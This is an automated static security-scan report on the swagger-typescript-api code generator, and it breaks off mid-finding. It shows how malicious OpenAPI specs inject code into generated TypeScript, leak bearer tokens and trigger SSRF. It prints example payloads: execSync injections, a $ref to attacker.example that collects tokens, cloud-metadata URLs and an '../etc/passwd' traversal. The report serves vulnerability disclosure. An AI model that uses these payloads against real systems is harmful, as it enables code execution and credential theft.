

# swagger-typescript-api

v13.12.1 · commit ee5034b · blind static scan

|                   |            |                     |                        |
|-------------------|------------|---------------------|------------------------|
| SCANNER           | DATE       | MODE                | RUN ID                 |
| VASH              | 2026-07-25 | Blind · host-static | swagger-ts-api-13.12.1 |
| COVERAGE          | SOURCE     | TASKS               | COST                   |
| 131 .ts + 19 .ejs | ~9,122 LOC | 40 / 41 done        | \$17.91                |

## Executive summary

**swagger-typescript-api** generates a TypeScript API client from an OpenAPI/Swagger document. That document is *untrusted input* — supplied via `--path` / `--url` (fetched with no host allow-list), a local file, or any `$ref` followed during resolution. On a blind static pass VASH found spec-controlled strings reaching two dangerous sink families with no sanitization in between.

**1 Code injection into generated source (CWE-94).** Route path keys, object-property names, enum values, `servers[].url`, discriminator keys and more are interpolated into the generated `.ts` / `HttpClient` files through Eta's *unescaped* output tag `<%~ %>` (and the unescaped `Ts.StringValue` primitive, `"${content}"`). A malicious spec breaks out of the surrounding string or template-literal and splices arbitrary TypeScript that runs when the victim developer compiles, imports, or calls the generated client — a supply-chain RCE against the dev/CI environment. This is the largest cluster: **8 confirmed** (2 critical) plus 3 more awaiting a verdict.

**2 External \$ref resolution → SSRF + credential leak.** Both the hand-rolled resolver and swagger-parser dereference every `$ref` — including absolute `https://` refs to arbitrary hosts — with `resolve.external: true`, no scheme/host allow-list and no private-IP block, while forwarding the configured `Authorization` token to whatever host the ref names. A spec can therefore reach cloud-metadata / internal endpoints (SSRF) and exfiltrate the developer's bearer token to an attacker host.

**Supporting:** arbitrary code execution via `--custom-config` and auto-discovered config modules (c12 + jiti), path traversal via a file `$ref` (`../etc/passwd`), prototype pollution via deep-merge of the untrusted document, and quadratic-time ReDoS in route parsing.

2

CRITICAL

14

HIGH

6

MEDIUM

1

LOW

Severity distribution across the 23 non-rejected findings (15 confirmed, 4 pending a verdict, 4 needs-more-info). A further 6 candidates were rejected by validate.

## Read this first — scope & caveats

- Blind run.** VASH was given only the repository path — no hints, no scope notes. Findings are *not* cross-checked against any disclosed CVE for v13.12.1. “Confirmed” means VASH's own static source-to-sink reasoning; its validate stage independently *rejected* 6 candidates and flagged 4 as needs-more-info, so it is discriminating, not rubber-stamping.
- Static, not exploit-verified.** This was a host-static run, so `poc_succeeded = 0` on every finding — no proof-of-concept was executed. VASH's executed-PoC confirmation (its zero-false-positive gate) runs only inside its Docker sandbox and

was not used here.

- **Incomplete run.** The pipeline crashed at its final step when the working directory was moved mid-scan, so dedupe / trace / report never ran: findings are not collapsed into canonical groups, reachability was not traced, and 4 findings never received a validation verdict.
- **Confidence** values are the model's own 0–1 self-assessment, not a calibrated probability.

## Confirmed findings – 15

**F01** **CRITICAL** Codegen injection · CWE-94

**Confirmed** conf 0.70

src/schema-routes/util/specific-arg-name-resolver.ts:5–18

SpecificArgNameResolver's fallback name generator concatenates an attacker-controlled variant string with a counter and returns it unmodified as the resolved TypeScript argument/identifier name — no character or identifier-safety validation is applied at all (contrast with the `isValidIdentifier = /^[A-Za-z_$][A-Za-z0-9_$]*$/` guard used elsewhere in this codebase for route names). This class is instantiated at `src/schema-routes/schema-routes.ts:1246-1249` and used to resolve the generated request-body argument name via `nameResolver.resolve([requestBodyInfo.paramName, ...RESERVED_BODY_ARG_NAMES])` (`schema-routes.ts:1266-1269`). `requestBodyInfo.paramName` is set at `schema-routes.ts:800` as `requestBodyName || requestBody?.name || DEFAULT_BODY_ARG_NAME`; `requestBodyName` is populated straight from the untrusted OpenAPI/Swagger document's body-parameter `name` field by `swagger2openapi`'s `rbname: "requestBodyName"` conversion option (`src/swagger-schema-resolver.ts:87`) — i.e. it is 100% attacker-controlled text from the input schema (fetched via an unrestricted `--url/ fetch()` per the recon trust-boundary 'untrusted-schema-to-generated-code'). The base `NameResolver.resolve()` (`src/util/name-resolver.ts:69-82`) already returns the raw variant unsanitized when it isn't a name collision; when it IS a collision (attacker can force this deliberately, e.g. reusing the same string as a path-param name to guarantee the fallback fires), control reaches THIS file's fallback (lines 8-17), which still performs zero sanitization — it just appends a counter to the same malicious string via

`${variants[0]}${this.counter++}`. Either way the resulting name is later interpolated `**unescaped**` into generated TypeScript source: `templates/default/procedure-call.ejs` builds the function parameter list as `${name}${optional}: ${type}` (line 22, `argToTpl`) and emits it via the unescaped tag `<%~ wrapperArgs %>` (line 94), and also emits `body: ${bodyTpl}` (lines 64/99) where `bodyTpl = payload.name`. A malicious OpenAPI document with a request-body parameter named e.g. `data`: `any { }; (globalThis as any).x = require('child_process').execSync('id');` `const y = ((z` would be spliced verbatim into the generated `.ts` file's function signature, breaking out of the parameter position and injecting arbitrary statements that execute when the victim developer subsequently compiles/runs the generated client (matches the recon-documented 'untrusted-schema-to-generated-code' CWE-94 trust boundary). Confirmed by static source-to-sink trace across `specific-arg-name-resolver.ts -> name-resolver.ts -> schema-routes.ts -> swagger-schema-resolver.ts -> procedure-call.ejs`; no PoC executed because `execution_available=false` for this run.

**F02** **CRITICAL** Codegen injection · CWE-94

**Confirmed** conf 0.75

templates/default/procedure-call.ejs:94–104

End-to-end supply-chain code-injection chain: an untrusted OpenAPI/Swagger document's `paths` object KEY (e.g. `/pets/{id}`) is the sole source of the generated route's `path` string, and it reaches the generated `.ts` file completely unescaped inside a JavaScript template literal, giving a malicious schema author arbitrary-code execution in the environment of every developer/CI job that generates from and then compiles/imports/runs the client.

Chain, source to sink:

1. Source: `src/schema-routes/schema-routes.ts attachSchema()` iterates `Object.entries(resolvedSwaggerSchema.usageSchema.paths || {})` — `rawRouteName` is the literal, attacker-controlled JSON object key from the schema's `paths` map. Schema validation is explicitly disabled upstream (`resolved-swagger-schema.ts` sets `validate.schema: false, validate.spec: false`, per design\_controls), so nothing rejects a key containing backticks, `${}`, or newlines.
2. `parseRouteName(rawRoute)` (`schema-routes.ts:147-236`) builds `fixedRoute` by regex-replacing ONLY the `{param} / :param` placeholder substrings with `${paramName}` (line 180-189: `fixedRoute.replace(pathParam.$match, \\${${insertion}}\\)`). Every other character of the raw key — including backticks, `${...}` sequences the attacker plants outside a recognized `{}/:` placeholder, and newlines — passes through completely untouched. There is no escaping

function analogous to `escapeJSDocContent` (schema-formatters.ts:127, which only strips `*/` and is used solely for JSDoc, not for `path`).

3. `parseRouteInfo()` assigns this string into `route.request.path` unchanged: `path: route,` (schema-routes.ts:1323).

4. Sink: `templates/default/procedure-call.ejs` destructures `path` from `route.request` (line 5) and emits it via Eta's UNESCAPED raw-output tag directly inside a JS template literal: `` path: <%~ path %> ,`` (line 96). `<%~ %>` performs no HTML/JS escaping (equivalent to EJS `<%- %>`), so any backtick in `path` terminates the JS template literal early inside the generated `.ts` source, and any subsequent attacker-controlled text becomes live TypeScript/JavaScript statements in the emitted file.

5. Survival: the rendered file is written via `filesystem.createFile` with no syntax validation in between (`code-gen-process.ts` uses `templatesWorker.renderTemplate` → `createFile` directly), and the only post-processing (`code-formatter.ts`, Biome format + unused-import removal) reformats but does not neutralize syntactically-valid injected statements – an attacker who structures the payload to close and reopen the surrounding object/call expression correctly (see PoC) keeps the file syntactically valid so Biome/tsc happily accept it.

6. Execution: a victim who runs `swagger-typescript-api generate --url <attacker-controlled-schema>` (a documented, unauthenticated entry point – `src/util/request.ts:32` fetches the schema URL with no host allowlist) and then imports/compiles/uses the generated `Api.ts` in their project executes the injected JavaScript – either at TypeScript-compile time if the payload is placed at module/class scope, or at call time when their application invokes the generated route method (the arrow-function body containing the injected IIFE executes on every call). This is full CWE-94 supply-chain RCE in the victim's dev/build/runtime environment, matching the trust boundary `untrusted-schema-to-generated-code`` from recon.

Example malicious `paths` key (illustrative, not compiled – see poc):

```
/pets\ }); (function(){require('child_process').execSync('touch /tmp/pwned')}()); this.request({path:\ /pets
```

which, substituted into the sink template, produces syntactically-valid generated TypeScript that runs the IIFE (arbitrary shell command) every time the generated method is invoked, while leaving the rest of the object literal (method, query, body, ...) intact so the file still round-trips through Biome/tsc without error.

**F03** **HIGH** Codegen injection · CWE-94

**Confirmed** conf 0.90

`src/configuration.ts:247–250`

`Ts.StringValue` (`configuration.ts:250`) builds a TypeScript string-literal via a raw template `"${content}"` with zero escaping of `"`, `\`, backtick, `${`, or newline characters. It is the sole quoting primitive used for enum values throughout `enum.ts`'s `formatValue()/parse()`: `schema-utils.ts:104–111` pulls enum member names straight from the attacker-controlled `x-enumNames` / `xEnumNames` / `x-enum-varnames` vendor extensions, and `enum.ts:129` (and 105–127) reads raw values straight from `this.schema.enum[]` – both taken verbatim from the untrusted OpenAPI/Swagger document (per recon's `untrusted-schema-to-generated-code` boundary). For any enum value whose type isn't `number` / `boolean` (`enum.ts:94–101`, default branch) or whose key falls back to the raw value (`enum.ts:112–118`, `enumNamesAsValues`), `formatValue/StringValue` wraps the value as `"${value}"` with no character escaping and stores it as `content.value`. That value is then interpolated, still unescaped, by the code-generation template `templates/base/enum-data-contract.ejs:24–32` (and the analogous union branch at line 22): `` ${key} = ${value}`` is built as a raw JS string and emitted through Eta's raw/unescaped `<%~ %>` tag straight into the generated `.ts` `data-contracts` file. Eta's `<%~ %>` only skips HTML-entity escaping in any case – it performs no TypeScript string-literal escaping, so this is not a case of an escaper being merely insufficient, there is no escaper on this path at all. An enum value containing a `"` (or a `\`, backtick, or newline) therefore terminates the emitted string literal early and lets an attacker splice arbitrary TypeScript statements into the generated `enum-data-contract/data-contracts` file, which the victim developer subsequently compiles and executes (per recon's documented trust boundary). Example malicious schema fragment: `{"type":"string","enum":["a"]; }()`; `import("child_process").then(m=>m.execSync("touch /tmp/pwned"))`; `export enum X_unused { Y="z" }` – when rendered by the default enum branch this becomes `Y = "a"; }()`; `import("child_process").then(...)`; `export enum X_unused { Y="z"` inside the emitted `export enum { ... }` block, breaking out of both the string literal and the enclosing object/enum structure to inject a live `import().then(execSync(...))`` statement that runs as soon as the generated module is loaded/executed.

templates/default/procedure-call.ejs:94-104

The generated request-call template embeds the route's HTTP path unescaped inside a JS template literal: `path: \<%~ path %>\`, (line 96) uses Eta/EJS's raw/unescaped output tag `<%~ %>` — there is no escaping of backtick, `{`, `}` characters. `path` is `route.request.path`, which traces back to `route` in `ParsedRoute.request` set in `src/schema-routes/schema-routes.ts:1323 (path: route)`, which is the `route` field returned by `parseRouteName()` (`schema-routes.ts:147-236`). `parseRouteName` takes `rawRoute` — a raw key of the untrusted OpenAPI/Swagger document's top-level `paths` object (iterated at `schema-routes.ts:1357-1361`:

`Object.entries(resolvedSwaggerSchema.usageSchema.paths || {})`, with each key passed as `rawRouteName` into `parseRouteInfo → parseRouteName`). Inside `parseRouteName`, only substrings matching the path-parameter regex `/([\\w[\\]\\^\\ ][-\\.\\w]*)/g` are rewritten into `{paramName}` placeholders (`schema-routes.ts:152-189`); every other character of the raw path key — including any literal backtick or `{...}` sequence the schema author puts outside a `{param}/:param` token — passes through untouched into `fixedRoute/route`. Because the template only wraps `path` in backticks and interpolates it raw, a `paths` key such as `"/pets/${require('child_process').execSync('touch /tmp/pwned')}`" (no backtick needed — the surrounding backticks already exist in the template) is emitted verbatim as `path: \ /pets/${require('child_process').execSync('touch /tmp/pwned')}`, in the generated TypeScript/JavaScript client. That expression executes as real JS every time the victim application calls the generated route method. Since the schema (a local file, an `--url`-fetched remote doc, or a doc reached via followed `$ref`) is attacker-influenced per the documented trust boundary 'untrusted-schema-to-generated-code', this is unauthenticated injection of arbitrary code into an artifact the victim developer later executes. No sanitizer exists between the `paths` key and this sink — `escapeJSDocContent` (`schema-formatters.ts:127`) only guards `*/` in JSDoc comments and is not applied to `path`; `isValidIdentifier` (line 83, 94) only gates `route.routeName.usage`, not `path`.

templates/base/http-clients/fetch-http-client.ejs:74-75

`createApiConfig()` (`src/code-gen-process.ts:572-595`) takes `serverUrl` directly from `swaggerSchema.servers[0].url` (attacker-controlled OpenAPI document field) with zero validation/escaping and stores it as `apiConfig.baseUrl`. That value is emitted into the generated `HttpClient` class field via Eta's UNESCAPED output tag `<%~ %>` (Eta's raw/non-HTML-escaping interpolation, equivalent to EJS `<%~ %>`), directly inside a double-quoted TS string literal: `public baseUrl: string = "<%~ apiConfig.baseUrl %>"`. Because the value is placed verbatim between `"` characters with no quote-escaping, any `servers[0].url` containing a `"` breaks out of the string literal and injects arbitrary TypeScript/JavaScript into the generated source file that a developer subsequently compiles and executes (matches the recon-flagged trust boundary `untrusted-schema-to-generated-code`). Example malicious spec fragment: `{"servers":[{"url":"x\"; import(\"child_process\").then(m=>m.exec(\"touch /tmp/pwned\")); const _z=\"\"}]}`. The rendered output becomes `public baseUrl: string = "x"; import("child_process").then(m=>m.exec("touch /tmp/pwned")); const _z="";` — a syntactically valid class-field-initializer statement sequence that runs attacker code the moment the generated client module is imported/executed by the victim. No sanitizer exists anywhere between the schema parse (`swagger-schema-resolver.ts / resolved-swagger-schema.ts`, which never touch `servers`) and this template sink — confirmed by `grep` showing zero references to `servers` in either resolver file. The only escaping mechanism in this codebase (`escapeJSDocContent`, `design_controls`) only neutralizes `*/` for JSDoc comments and is not applied here at all, since this sink is a string literal, not a comment.

templates/base/http-clients/axios-http-client.ejs:63-75

Identical unescaped-interpolation flaw as the fetch client, in the axios-based `HttpClient` constructor: `this.instance = axios.create({ ...axiosConfig, baseUrl: axiosConfig.baseUrl || "<%~ apiConfig.baseUrl %>" })`. `apiConfig.baseUrl` is the same unsanitized `servers[0].url` value from `createApiConfig()` (`src/code-gen-process.ts:572-595`, `baseUrl: serverUrl`). Because it is rendered with Eta's unescaped `<%~ %>` tag inside a double-quoted JS string literal that sits inside an object-literal argument to `axios.create(...)`, a `servers[0].url` value containing `"` followed by `,` `<arbitrary-js>` breaks out of the string and the enclosing object literal, allowing injection of arbitrary expressions/statements evaluated in the constructor at runtime when the victim developer builds and executes the generated client (e.g. `servers[0].url = 'x', extra: (()=>{require(\"child_process\").execSync(\"touch`

/tmp/pwned2\')}})) //'). Same missing-sanitizer chain as the fetch-client finding: no escaping is applied to `servers` anywhere in `swagger-schema-resolver.ts` or `resolved-swagger-schema.ts` before this template consumes it.

**F07** **HIGH** Codegen injection · CWE-94

**Confirmed** conf 0.82

`src/schema-parser/base-schema-parsers/discriminator.ts:62-138`

`discriminator.propertyName` and `discriminator.mapping` object keys — both taken verbatim from an untrusted OpenAPI/Swagger document — are passed through `ts.StringValue()` (defined at `src/configuration.ts:250` as `(content) => \"${content}\"`, which performs NO escaping of `"`, backslash, backtick or `${}`) and spliced directly into generated TypeScript source as an object-literal key (lines 88, 121, 131) or the enum-key fallback path (`createMappingPropertySchemaEnumKeys`, line 195, same root cause). This is the exact same unescaped-StringValue sink documented for enum values (`src/schema-parser/base-schema-parsers/enum.ts:100/116`) — `discriminator.propertyName` and `discriminator.mapping` keys share that gap: no call in this file quotes/escapes the value, and no design\_control (`escapeJSDocContent` only guards `*/` in JSDoc comments; `isValidName` only gates type/enum-KEY identifiers, not string-literal keys or mapping values) applies at this sink. An attacker who controls the OpenAPI document (fetched via `--url`, resolved external `$ref`, or an uploaded spec — see trust boundary 'untrusted-schema-to-generated-code') can set `discriminator.propertyName` (or a `discriminator.mapping` key) to a string containing a `"` that closes the emitted string literal early, followed by arbitrary TypeScript/JavaScript source text (e.g. a new top-level `export const x = (()=>{ require('child_process').execSync(...)})();` statement) that becomes part of the generated `.ts` client file the victim developer subsequently compiles/executes/imports.

**F08** **HIGH** Codegen injection · CWE-94

**Confirmed** conf 0.75

`templates/base/interface-data-contract.ejs:5-9`

Object-property field names from an untrusted OpenAPI/Swagger document are rendered unescaped (`<%~ field.name %>`) into the generated TypeScript interface. The source of `field.name` is `src/schema-parser/base-schema-parsers/object.ts:45-47`: `const fieldName = this.typeNameFormatter.isValidName(name) ? name : this.config.Ts.StringValue(name);` `isValidName` (`src/type-name-formatter.ts:125`) is `/^[A-Za-z$_]{1,}$/` — it rejects any name containing a digit, space, quote, colon, brace, etc. (almost any realistic property name, since digits are disallowed). For every rejected name, `Ts.StringValue` (`src/configuration.ts:250`) does `(content) => "\"" + content + "\""` — a naive wrap with zero escaping of embedded quotes/backslashes/newlines. Because `interface-data-contract.ejs` emits `field.name` with the raw-output tag `<%~ %>` (no escaping), a schema author who names a property e.g. `x": string`; `import { execSync } from "child_process"; execSync("id>/tmp/pwned");` export interface Bar { y breaks out of the emitted quoted key, closes the interface body early, and injects arbitrary top-level TypeScript statements that a subsequent `tsc/bundler/import` of the generated client will execute. Reachable via the documented trust boundary 'untrusted-schema-to-generated-code' — the schema is fetched from an attacker-influenceable `--url` (external\_inputs.url is `anonymous_user-controllable`) or a shared/untrusted spec file.

**F09** **HIGH** Credential leak · CWE-200

**Confirmed** conf 0.75

`src/resolved-swagger-schema.ts:370-397`

`getRemoteRequestHeaders()` (lines 81-93) unconditionally attaches `config.authorizationToken` as an `Authorization` header (plus any `config.requestOptions.headers`) to `fetchRemoteSchemaDocument()`'s `fetch()` call (line 374), with no check that the target `url` is the same host/origin as the primary schema. `fetchRemoteSchemaDocument` is invoked from `warmUpRemoteSchemasCache()` (lines 399-445), which starts at `config.url` and recursively walks EVERY `$ref` found anywhere in the fetched document via `extractRefsFromSchema()` (lines 341-368) — including refs that are themselves absolute `https://` URLs to a completely different host (isHttpRequest short-circuit at `resolveAbsoluteUrl` line 325-327 passes such URLs through unchanged). Because the header attachment has no host allowlist/origin check, a schema document that contains (or is made to contain, e.g. by a compromised/malicious upstream API doc, a supply-chain-tainted spec, or any nested `$ref` chain reachable from the trusted primary URL) a `$ref` such as `"https://attacker.example/collect"` causes the tool to send the developer's configured bearer token / auth header directly to the attacker's server. The victim only needs to run codegen with `--authorization-token` set against a schema whose ref graph is not fully trusted (a very common real-world case: aggregating specs across teams/partners).



**F10** **HIGH** Credential leak · CWE-200

**Confirmed** conf 0.70

src/resolved-swagger-schema.ts:912-935

ResolvedSwaggerSchema.create() configures @apidevtools/swagger-parser's own external-\$ref resolver (resolve.external: true, resolve.http.headers) with the same globally-attached Authorization header built from config.authorizationToken/config.requestOptions.headers, applied uniformly to resolve.http for the whole document graph (line 920-933). swagger-parser's underlying json-schema-ref-parser issues one HTTP request per external \$ref encountered while dereferencing, using these same static http options for every request regardless of the ref's target host — there is no per-host scoping. Combined with validate.schema/spec: false and continueOnError: true (also set here), a malicious or compromised schema can place a \$ref at https://attacker.example/x anywhere in the document (originalSchema/usageSchema/config.url — all three are resolved with these options at lines 939-959) and receive the victim's Authorization token when swagger-parser dereferences it. This is the same root-cause flaw as the hand-rolled resolver in getRemoteRequestHeaders/fetchRemoteSchemaDocument, but reachable via the library's own resolution path, independent of warmUpRemoteSchemasCache.

**F11** **HIGH** Config / deserialization RCE · CWE-502

**Confirmed** conf 0.65

index.ts:310-368

The generate command's run handler passes the raw, unvalidated --custom-config CLI argument straight into c12's loadConfig({name: 'swagger-typescript-api', configFile: args['custom-config']}) (line 311-314) with no path allowlist, extension restriction, or content validation. c12 resolves and loads config sources by file extension:

.json/.jsonc/.json5/.yaml/.yml/.toml are parsed as inert data via confbox, but

.js/.mjs/.cjs/.ts/.mts/.cts are loaded through jiti's module interop, i.e. the file's top-level code is actually executed (imported/required) as part of loading the config — before any of its exported values are even inspected.

Because configFile accepts an arbitrary path/extension supplied by whoever invokes the CLI, pointing --custom-config at a hostile .js/.ts file achieves full Node.js code execution as soon as generate runs, independent of what that file exports.

This is meaningfully widened by c12's built-in auto-discovery: even when --custom-config is \*not\* passed, loadConfig({name: 'swagger-typescript-api', ...}) still searches the current working directory (and c12's standard rc-file locations) for a file matching the configured name, i.e. swagger-typescript-api.config.{js,ts,mjs,cjs,mts,cts,json,...} (name confirmed via package.json name field, line 2). Consequently, a victim who simply runs swagger-typescript-api generate -p ./swagger.json inside a directory that contains an attacker-planted swagger-typescript-api.config.js (e.g. a cloned/downloaded untrusted repo, a CI checkout of an external PR, or an archive bundled together with a spec file) gets that file executed automatically — with no --custom-config flag, no consent prompt, and no indication in the CLI's own arguments that a config module is about to run. This turns an operator-opt-in risk (explicit --custom-config <path>) into an ambient, CWD-triggered one.

The merged result (...customConfig.config at line 367) is also spread directly into the options passed to generateApi() without validation, so even for the data-format (YAML/JSON) config path, arbitrary fields (including hooks callbacks documented elsewhere in this codebase) are deserialized straight into the live generation config with no schema/allowlist check — but the more severe issue is the unconditional code execution during config \*loading\* for JS/TS config sources described above.

**F12** **HIGH** SSRF · CWE-918

**Confirmed** conf 0.85

src/resolved-swagger-schema.ts:370-445

warmUpRemoteSchemasCache() seeds a BFS queue with this.config.url (populated directly from the CLI --path/--url flag at index.ts:349/366, or from generateApi({url}) in the library API — both are operator/caller-supplied and, per recon's external\_inputs, reachable by an anonymous user through the schema-URL entry point). For every fetched document it calls extractRefsFromSchema() (line 341-368), which recursively walks the ENTIRE untrusted schema object collecting every \$ref string with no shape/host restriction. Each non-local ref is turned into an absolute URL via resolveAbsoluteUrl()/isHttpUrl() (line 77-79, 323-339) — isHttpUrl only checks the http(s):// scheme prefix, there is no allowlist, denylist, or private-IP/loopback/link-local check anywhere in this file. The absolute URL is pushed back onto the queue and fetched by fetchRemoteSchemaDocument() (line 370-397) via a bare fetch(url, {headers: this.getRemoteRequestHeaders()}) . getRemoteRequestHeaders() (line 81-93) attaches

`this.config.authorizationToken` and any configured `requestOptions.headers` (which may carry real bearer tokens / API keys for the intended target API) to whatever host the attacker-controlled `$ref` names. Consequences: (1) blind/semi-blind SSRF — a schema can contain `$ref: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"` or `http://127.0.0.1:<internal-port>/...`, causing the tool to fetch cloud-metadata or internal-network endpoints on the attacker's behalf; the response is parsed by `parseSchemaContent` and, if used as a component, its content can be echoed back into generated code/errors, giving exfiltration; (2) credential exfiltration — a `$ref` pointing at an attacker-owned host causes the configured Authorization header/token to be sent to that host. The same unrestricted resolution also occurs via `SwaggerParser`'s http resolver configured at line 920-934 (`resolve.external=true`, no allowlist), which is a second instance of the identical root cause but out of this task's designated sink.

**F13** **HIGH** SSRF · CWE-918

**Confirmed** conf 0.75

`src/resolved-swagger-schema.ts:904-962`

`ResolvedSwaggerSchema.create()` invokes `@apidevtools/swagger-parser`'s `SwaggerParser.resolve()` three times (on `originalSchema`, `usageSchema`, and `config.url/input/spec`) with `resolve.external: true` and no scheme/host allowlist. This is a second, independent `$ref`-dereferencing engine from the hand-rolled `fetch()/fs` resolver already noted in the recon summary (`fetchRemoteSchemaDocument/readExternalSchema`) — `swagger-parser` walks the ENTIRE document tree for `$ref` strings on its own and fetches/reads every external ref it finds, including refs nested arbitrarily deep or reachable only through refs the custom resolver's `warmUpRemoteSchemasCache` BFS (line 399) never visits (e.g. refs inside `originalSchema`'s already-mutated tree, or refs `SwaggerParser` discovers before the custom cache warms up). Because the OpenAPI document being processed is untrusted (per recon, `url/schema` content is attacker-influenced — 'controllable\_by: anonymous\_user'), an attacker who controls the schema (or a document reachable from it via nested `$refs`) can embed `$ref: "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"` or `$ref: "http://internal-service.local/admin"` and `swagger-parser` will fetch it with `mutateInputSchema: true`, splicing the response body directly into the resolved schema (later embedded in generated code / merged into config state). Because `resolve.external` has no allowlist restricting scheme or host, this is a fully attacker-controlled SSRF reaching cloud-metadata and other internal-only endpoints. Compounding this, `options.resolve.http.headers` (lines 922-933) attaches `config.authorizationToken` / `config.requestOptions.headers` — credentials meant for the legitimate schema host — and `swagger-parser` will send those same headers to EVERY external ref host it resolves, including attacker-chosen ones reached via a malicious nested `$ref`, leaking the bearer token to an attacker-controlled server. `continueOnError: true` (line 913) means a single failed/blocked fetch doesn't abort resolution, so the attacker gets many attempts within one document. There is no scheme check, no private-IP/link-local block, and no allowlist anywhere in the options object.

**F14** **MEDIUM** Path traversal · CWE-22

**Confirmed** conf 0.75

`src/resolved-swagger-schema.ts:829-902`

`tryToResolveRefFromFile()` is the final fallback in `getRef()` (reached from `ResolvedSwaggerSchema.getRef`, line 696, whenever an untrusted `$ref` string inside the attacker-supplied OpenAPI/Swagger document cannot be resolved by `SwaggerParser` or the remote-cache path). It splits the ref into `externalPath#pointer` and passes `externalPath` unmodified to `collectExternalRefCandidates()`. That function builds a candidate filesystem path with `path.resolve(path.dirname(this.config.input), normalizedExternalPath)` (line 848) — `normalizedExternalPath` is the raw `$ref` text (only a leading `/` is stripped; `..` segments are left intact). Unlike the sibling `GitHub-ref` resolver in the same file, which explicitly checks `if (nextFilePath.startsWith('..')) return null;` (line 236) before rebuilding a repo-relative path, `collectExternalRefCandidates` has NO such check, and the same missing check applies to every resolver base path added in the loop at lines 852-870. `tryToResolveRefFromFile()` then feeds each candidate to `readExternalSchema()` (line 719-738), which does `fs.existsSync(filePath) + fs.readFileSync(filePath, 'utf8')` (line 729) with no containment/allowlist check, parses the content with `parseSchemaContent()` (JSON.parse, falling back to a very permissive `YAML.parse`), and — if the ref carries no `#pointer` (pointer defaults to `'/'`, see `resolveJsonPointer` line 748-750) — returns the ENTIRE parsed file back into the schema tree via `absolutizeLocalRefs()`. The result is spliced into the resolved schema and ultimately embedded into the generated TypeScript output (`types/JSDoc/examples`) that the victim developer writes to disk and inspects/compiles. A malicious OpenAPI document supplied to a victim who runs `swagger-typescript-api generate --path ./evil.yaml` (or any config.input-driven flow) with a definition such as `{"$ref": "../../../../../../../../etc/passwd"}` (or a path to `~/ssh/id_rsa`, a `.env` file, etc., as long as it happens to parse — plain-text files very often parse successfully as a YAML scalar/mapping) causes arbitrary local file content readable by the generator process to be read and disclosed into the generated code. This matches the recon-identified

`schema-ref-to-network-and-fs` trust boundary and is analogous to the already-known SSRF sibling in the same class of code, but for the filesystem instead of the network.

**F15** MEDIUM ReDoS · CWE-1333

Confirmed conf 0.55

`src/schema-routes/schema-routes.ts:191-204`

After the path-param substitution, `fixedRoute` (still attacker-controlled length, derived from the same untrusted `paths` key traced in the sibling finding at line 152) is matched against `/(\{\?\.*\})/g` at line 191. The greedy `.*` between two literal delimiters that never occur together (e.g. repeated `{?}` sequences with no closing `}`) forces the engine to scan to end-of-string and backtrack character-by-character to look for `}` at every occurrence of the opening `{?`, giving  $O(n^2)$  worst case for input like `"{"`.repeat(N). Same source (untrusted OpenAPI `paths` key, reachable via the `--url` fetch entry point) and same lack of any length guard applies, so this is an independent quadratic-time sink in the same function.

## Pending a verdict – 4, validate interrupted mid-run

The directory move killed the pipeline during validation; these candidates never received a verdict. Three are HIGH codegen-injection sinks in templates, sharing the confirmed root cause.

**F16** HIGH Codegen injection · CWE-94

Pending verdict conf 0.70

`templates/base/type-data-contract.ejs:6-15`

Same root cause as `f_catchall_08_1`, reached through the alternate 'type' contract-rendering path. `field.field` is built in `src/schema-parser/base-schema-parsers/object.ts:85-90` via `this.config.Ts.TypeField({ key: fieldName, value: fieldValue, ... })`, and `Ts.TypeField` (`src/configuration.ts:285-291`) string-concatenates `key + ':' + value` with no escaping. `fieldName` is the same unescaped `Ts.StringValue(name)` output whenever the untrusted OpenAPI property name fails the letters-only `isValidName` check. `type-data-contract.ejs` then emits `field.field` with the raw-output tag `<%~ field.field %>`, so a malicious property name embedding a quote followed by valid TypeScript (closing the `type X = { ... }` object literal and adding an injected `export/require` statement) is emitted verbatim into the generated `.ts` file. This path is taken instead of the interface path whenever `schema-parser` assigns typeIdentifier 'type' to the contract, so it is an independently reachable sink, not merely a duplicate of finding 1.

**F17** HIGH Codegen injection · CWE-94

Pending verdict conf 0.65

`templates/base/route-docs.ejs:18-29`

`route-docs.ejs` builds a `/** ... */` JSDoc block for each route. Every other untrusted field in this file (`raw.description`, `raw.tags`, `routeName`, `request.method`, `raw.route`, `responsesTypes[].status/type`) is passed through `escapeJSDocContent`, whose own doc comment in `src/schema-parser/schema-formatters.ts:123-131` explains it exists specifically because 'OpenAPI fields are untrusted input that may contain `*/` which would prematurely close JSDoc block comments in generated TypeScript output.' The `raw.links` branch (lines 24-29) is the one place in this file that omits this call: `status`, `name`, `operationId`, and `operationRef` are interpolated directly with no escaping. These values originate from the untrusted OpenAPI responses. `<code>.links` object (`src/schema-routes/schema-routes.ts:515-566` — `name: String(linkName)` is a raw JS object key from the spec; `operationId/operationRef` are raw strings copied straight from the (possibly `$ref`-resolved) link object). Because `route-type.ejs` embeds `routeDocs.lines` inside a literal `/** ... */` block, a link name or `operationId` containing `*/` breaks out of the comment; the attacker can then inject a live `import/execSync` statement followed by `/*` to re-open a comment and swallow the template's own closing `*/`, keeping the generated file syntactically valid while smuggling in arbitrary top-level code that executes when the client is compiled/imported.

**F18** HIGH Codegen injection · CWE-94

Pending verdict conf 0.72

`templates/modular/procedure-call.ejs:94-96`

The generated route path is embedded into a JavaScript/TypeScript template literal using Eta's unescaped output tag `<%~ path %>` with no backtick/``${}``/backslash escaping. `path == route.request.path`, which `src/schema-routes/schema-routes.ts` (`attachSchema -> Object.entries(resolvedSwaggerSchema.usageSchema.paths)` at line ~1357-1361, `parseRouteName` at line ~147-236) sets directly from the raw key string of the untrusted OpenAPI/Swagger document's



